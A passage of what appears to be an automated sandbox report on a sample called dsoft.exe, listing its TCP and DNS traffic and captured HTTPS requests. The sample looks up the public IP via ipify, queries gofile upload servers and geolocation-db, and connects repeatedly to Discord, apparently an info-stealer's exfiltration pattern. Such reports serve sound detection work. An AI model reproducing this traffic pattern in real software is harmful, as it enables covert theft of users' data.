                                                                                                                                                                                                                                        Dec 29, 2024 20:03:25.366498947 CET49862443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:25.807535887 CET49869443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:25.807558060 CET44349869162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:25.807640076 CET49869443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:25.808001995 CET49869443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:25.808021069 CET44349869162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:26.103518009 CET44349867162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:26.103918076 CET49867443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:26.103943110 CET44349867162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:26.104805946 CET44349867162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:26.104865074 CET49867443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:26.105720997 CET49867443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:26.105779886 CET44349867162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:26.105854988 CET49867443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:26.105863094 CET44349867162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:26.105885029 CET49867443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:26.147332907 CET44349867162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:26.149352074 CET49867443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:26.592662096 CET44349867162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:26.592713118 CET44349867162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:26.592875004 CET49867443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:26.593421936 CET49867443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:27.065371990 CET44349869162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:27.065759897 CET49869443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:27.065773010 CET44349869162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:27.066762924 CET44349869162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:27.066823006 CET49869443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:27.067589045 CET49869443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:27.067653894 CET44349869162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:27.067723036 CET49869443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:27.067729950 CET44349869162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:27.067747116 CET49869443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:27.111334085 CET44349869162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:27.117985964 CET49869443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:27.585453987 CET44349869162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:27.585522890 CET44349869162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:27.585758924 CET49869443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:27.586213112 CET49869443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:27.604861021 CET49874443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:27.604906082 CET44349874162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:27.604980946 CET49874443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:27.605329990 CET49874443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:27.605345964 CET44349874162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:28.862977028 CET44349874162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:28.863385916 CET49874443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:28.863414049 CET44349874162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:28.864386082 CET44349874162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:28.864444017 CET49874443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:28.865190983 CET49874443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:28.865252018 CET44349874162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:28.865318060 CET49874443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:28.865364075 CET49874443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:28.865370035 CET44349874162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:28.914869070 CET49874443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:29.388811111 CET44349874162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:29.388957024 CET44349874162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:29.389179945 CET49874443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:29.389693975 CET49874443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:29.634673119 CET49880443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:29.634715080 CET44349880162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:29.634818077 CET49880443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:29.635262966 CET49880443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:29.635277987 CET44349880162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:30.943753958 CET44349880162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:30.944216013 CET49880443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:30.944227934 CET44349880162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:30.945198059 CET44349880162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:30.945297003 CET49880443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:30.946062088 CET49880443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:30.946125031 CET44349880162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:30.946273088 CET49880443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:30.946280956 CET44349880162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:30.946307898 CET49880443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:30.991328955 CET44349880162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:30.993005037 CET49880443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:31.465781927 CET44349880162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:31.465861082 CET44349880162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:31.466223955 CET49880443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:31.466602087 CET49880443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:31.485398054 CET49886443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:31.485418081 CET44349886162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:31.485513926 CET49886443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:31.485882998 CET49886443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:31.485896111 CET44349886162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:32.790697098 CET44349886162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:32.791090012 CET49886443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:32.791105986 CET44349886162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:32.792112112 CET44349886162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:32.792170048 CET49886443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:32.792820930 CET49886443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:32.792886019 CET44349886162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:32.792927027 CET49886443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:32.792948961 CET49886443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:32.792954922 CET44349886162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:32.836777925 CET49886443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:33.305036068 CET44349886162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:33.305113077 CET44349886162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:33.305169106 CET49886443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:33.306004047 CET49886443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:33.512116909 CET49891443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:33.512140036 CET44349891162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:33.512219906 CET49891443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:33.512602091 CET49891443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:33.512617111 CET44349891162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:34.722748041 CET44349891162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:34.723249912 CET49891443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:34.723275900 CET44349891162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:34.724723101 CET44349891162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:34.724798918 CET49891443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:34.725548983 CET49891443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:34.725639105 CET44349891162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:34.725667000 CET49891443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:34.725745916 CET49891443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:34.725755930 CET44349891162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:34.774266005 CET49891443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:35.240636110 CET44349891162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:35.240708113 CET44349891162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:35.240825891 CET49891443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:35.241399050 CET49891443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:35.261415005 CET49896443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:35.261439085 CET44349896162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:35.261528969 CET49896443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:35.261907101 CET49896443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:35.261917114 CET44349896162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:36.517798901 CET44349896162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:36.518203974 CET49896443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:36.518218994 CET44349896162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:36.519216061 CET44349896162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:36.519273043 CET49896443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:36.519963026 CET49896443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:36.520025969 CET44349896162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:36.520087957 CET49896443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:36.520095110 CET44349896162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:36.520127058 CET49896443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:36.567338943 CET44349896162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:36.571152925 CET49896443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:37.029891968 CET44349896162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:37.029983997 CET44349896162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:37.030030012 CET49896443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:37.030637980 CET49896443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:37.180613041 CET49900443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:37.180634975 CET44349900162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:37.180715084 CET49900443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:37.181085110 CET49900443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:37.181098938 CET44349900162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:38.437585115 CET44349900162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:38.438112020 CET49900443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:38.438128948 CET44349900162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:38.439114094 CET44349900162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:38.439197063 CET49900443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:38.439945936 CET49900443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:38.440011978 CET44349900162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:38.440107107 CET49900443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:38.440114021 CET44349900162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:38.440161943 CET49900443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:38.487337112 CET44349900162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:38.952430964 CET44349900162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:38.952496052 CET44349900162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:38.952547073 CET49900443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:38.953166962 CET49900443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:38.971342087 CET49905443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:38.971400023 CET44349905162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:38.971472025 CET49905443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:38.971822023 CET49905443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:38.971838951 CET44349905162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:40.227099895 CET44349905162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:40.227598906 CET49905443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:40.227618933 CET44349905162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:40.228610039 CET44349905162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:40.228777885 CET49905443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:40.229640007 CET49905443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:40.229701996 CET44349905162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:40.229768038 CET49905443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:40.229777098 CET44349905162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:40.229805946 CET49905443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:40.274274111 CET49905443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:40.274282932 CET44349905162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:40.756726027 CET44349905162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:40.756802082 CET44349905162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:40.756846905 CET49905443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:40.757514954 CET49905443192.168.2.4162.159.138.232

                                                                                                                                                                                                                                        UDP Packets

                                                                                                                                                                                                                                        TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:36.629195929 CET5612853192.168.2.41.1.1.1
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:36.766999960 CET53561281.1.1.1192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:38.559184074 CET5531553192.168.2.41.1.1.1
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:38.697907925 CET53553151.1.1.1192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:40.765474081 CET4969353192.168.2.41.1.1.1
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:40.904120922 CET53496931.1.1.1192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:43.404433012 CET6142853192.168.2.41.1.1.1
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:43.493402958 CET5714153192.168.2.41.1.1.1
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:43.631263971 CET53571411.1.1.1192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:43.944029093 CET53614281.1.1.1192.168.2.4

                                                                                                                                                                                                                                        DNS Queries

                                                                                                                                                                                                                                        TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:36.629195929 CET192.168.2.41.1.1.10xf915Standard query (0)api.ipify.orgA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:38.559184074 CET192.168.2.41.1.1.10x5352Standard query (0)api.gofile.ioA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:40.765474081 CET192.168.2.41.1.1.10xf5f3Standard query (0)geolocation-db.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:43.404433012 CET192.168.2.41.1.1.10xb7e3Standard query (0)store4.gofile.ioA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:43.493402958 CET192.168.2.41.1.1.10x8a5eStandard query (0)discord.comA (IP address)IN (0x0001)false

                                                                                                                                                                                                                                        DNS Answers

                                                                                                                                                                                                                                        TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                                                                                                                                                                                                        Dec 29, 2024 20:01:58.349503040 CET1.1.1.1192.168.2.40x47c3No error (0)bg.microsoft.map.fastly.net199.232.210.172A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                        Dec 29, 2024 20:01:58.349503040 CET1.1.1.1192.168.2.40x47c3No error (0)bg.microsoft.map.fastly.net199.232.214.172A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                        Dec 29, 2024 20:01:59.753397942 CET1.1.1.1192.168.2.40x3a50No error (0)fp2e7a.wpc.2be4.phicdn.netfp2e7a.wpc.phicdn.netCNAME (Canonical name)IN (0x0001)false
                                                                                                                                                                                                                                        Dec 29, 2024 20:01:59.753397942 CET1.1.1.1192.168.2.40x3a50No error (0)fp2e7a.wpc.phicdn.net192.229.221.95A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:36.766999960 CET1.1.1.1192.168.2.40xf915No error (0)api.ipify.org104.26.13.205A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:36.766999960 CET1.1.1.1192.168.2.40xf915No error (0)api.ipify.org104.26.12.205A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:36.766999960 CET1.1.1.1192.168.2.40xf915No error (0)api.ipify.org172.67.74.152A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:38.697907925 CET1.1.1.1192.168.2.40x5352No error (0)api.gofile.io45.112.123.126A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:40.904120922 CET1.1.1.1192.168.2.40xf5f3No error (0)geolocation-db.com159.89.102.253A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:43.631263971 CET1.1.1.1192.168.2.40x8a5eNo error (0)discord.com162.159.138.232A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:43.631263971 CET1.1.1.1192.168.2.40x8a5eNo error (0)discord.com162.159.135.232A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:43.631263971 CET1.1.1.1192.168.2.40x8a5eNo error (0)discord.com162.159.137.232A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:43.631263971 CET1.1.1.1192.168.2.40x8a5eNo error (0)discord.com162.159.136.232A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:43.631263971 CET1.1.1.1192.168.2.40x8a5eNo error (0)discord.com162.159.128.233A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                        Dec 29, 2024 20:02:43.944029093 CET1.1.1.1192.168.2.40xb7e3No error (0)store4.gofile.io31.14.70.245A (IP address)IN (0x0001)false

                                                                                                                                                                                                                                        HTTP Request Dependency Graph

                                                                                                                                                                                                                                        • api.ipify.org
                                                                                                                                                                                                                                        • api.gofile.io
                                                                                                                                                                                                                                        • geolocation-db.com
                                                                                                                                                                                                                                        • discord.com
                                                                                                                                                                                                                                        • store4.gofile.io

                                                                                                                                                                                                                                        HTTPS Proxied Packets

                                                                                                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                        0192.168.2.449746104.26.13.2054437128C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                        2024-12-29 19:02:38 UTC117OUTGET / HTTP/1.1
                                                                                                                                                                                                                                        Accept-Encoding: identity
                                                                                                                                                                                                                                        Host: api.ipify.org
                                                                                                                                                                                                                                        User-Agent: Python-urllib/3.10
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        2024-12-29 19:02:38 UTC424INHTTP/1.1 200 OK
                                                                                                                                                                                                                                        Date: Sun, 29 Dec 2024 19:02:38 GMT
                                                                                                                                                                                                                                        Content-Type: text/plain
                                                                                                                                                                                                                                        Content-Length: 12
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        Vary: Origin
                                                                                                                                                                                                                                        CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                        Server: cloudflare
                                                                                                                                                                                                                                        CF-RAY: 8f9c0ba9bc31c439-EWR
                                                                                                                                                                                                                                        server-timing: cfL4;desc="?proto=TCP&rtt=1482&min_rtt=1479&rtt_var=561&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2820&recv_bytes=709&delivery_rate=1940199&cwnd=207&unsent_bytes=0&cid=c3f5dde92c39f38b&ts=470&x=0"
                                                                                                                                                                                                                                        2024-12-29 19:02:38 UTC12INData Raw: 38 2e 34 36 2e 31 32 33 2e 31 38 39
                                                                                                                                                                                                                                        Data Ascii: 8.46.123.189


                                                                                                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                        1192.168.2.44974745.112.123.1264437128C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                        2024-12-29 19:02:40 UTC126OUTGET /getServer HTTP/1.1
                                                                                                                                                                                                                                        Accept-Encoding: identity
                                                                                                                                                                                                                                        Host: api.gofile.io
                                                                                                                                                                                                                                        User-Agent: Python-urllib/3.10
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        2024-12-29 19:02:40 UTC1113INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                        Server: nginx/1.27.1
                                                                                                                                                                                                                                        Date: Sun, 29 Dec 2024 19:02:40 GMT
                                                                                                                                                                                                                                        Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                        Content-Length: 14
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        Access-Control-Allow-Origin: *
                                                                                                                                                                                                                                        Access-Control-Allow-Headers: Content-Type, Authorization
                                                                                                                                                                                                                                        Access-Control-Allow-Methods: GET, POST, OPTIONS, PUT, DELETE, HEAD
                                                                                                                                                                                                                                        Access-Control-Allow-Credentials: true
                                                                                                                                                                                                                                        Content-Security-Policy: default-src 'self';base-uri 'self';font-src 'self' https: data:;form-action 'self';frame-ancestors 'self';img-src 'self' data:;object-src 'none';script-src 'self';script-src-attr 'none';style-src 'self' https: 'unsafe-inline';upgrade-insecure-requests
                                                                                                                                                                                                                                        Cross-Origin-Embedder-Policy: require-corp
                                                                                                                                                                                                                                        Cross-Origin-Opener-Policy: same-origin
                                                                                                                                                                                                                                        Cross-Origin-Resource-Policy: cross-origin
                                                                                                                                                                                                                                        Origin-Agent-Cluster: ?1
                                                                                                                                                                                                                                        Referrer-Policy: no-referrer
                                                                                                                                                                                                                                        Strict-Transport-Security: max-age=15552000; includeSubDomains
                                                                                                                                                                                                                                        X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                        X-DNS-Prefetch-Control: off
                                                                                                                                                                                                                                        X-Download-Options: noopen
                                                                                                                                                                                                                                        X-Frame-Options: SAMEORIGIN
                                                                                                                                                                                                                                        X-Permitted-Cross-Domain-Policies: none
                                                                                                                                                                                                                                        X-XSS-Protection: 0
                                                                                                                                                                                                                                        ETag: W/"e-18wLxDNka2j9cTg7gpgujtuBb1A"
                                                                                                                                                                                                                                        2024-12-29 19:02:40 UTC14INData Raw: 65 72 72 6f 72 2d 6e 6f 74 46 6f 75 6e 64
                                                                                                                                                                                                                                        Data Ascii: error-notFound


                                                                                                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                        2192.168.2.449748159.89.102.2534437128C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        TimestampBytes transferredDirectionData
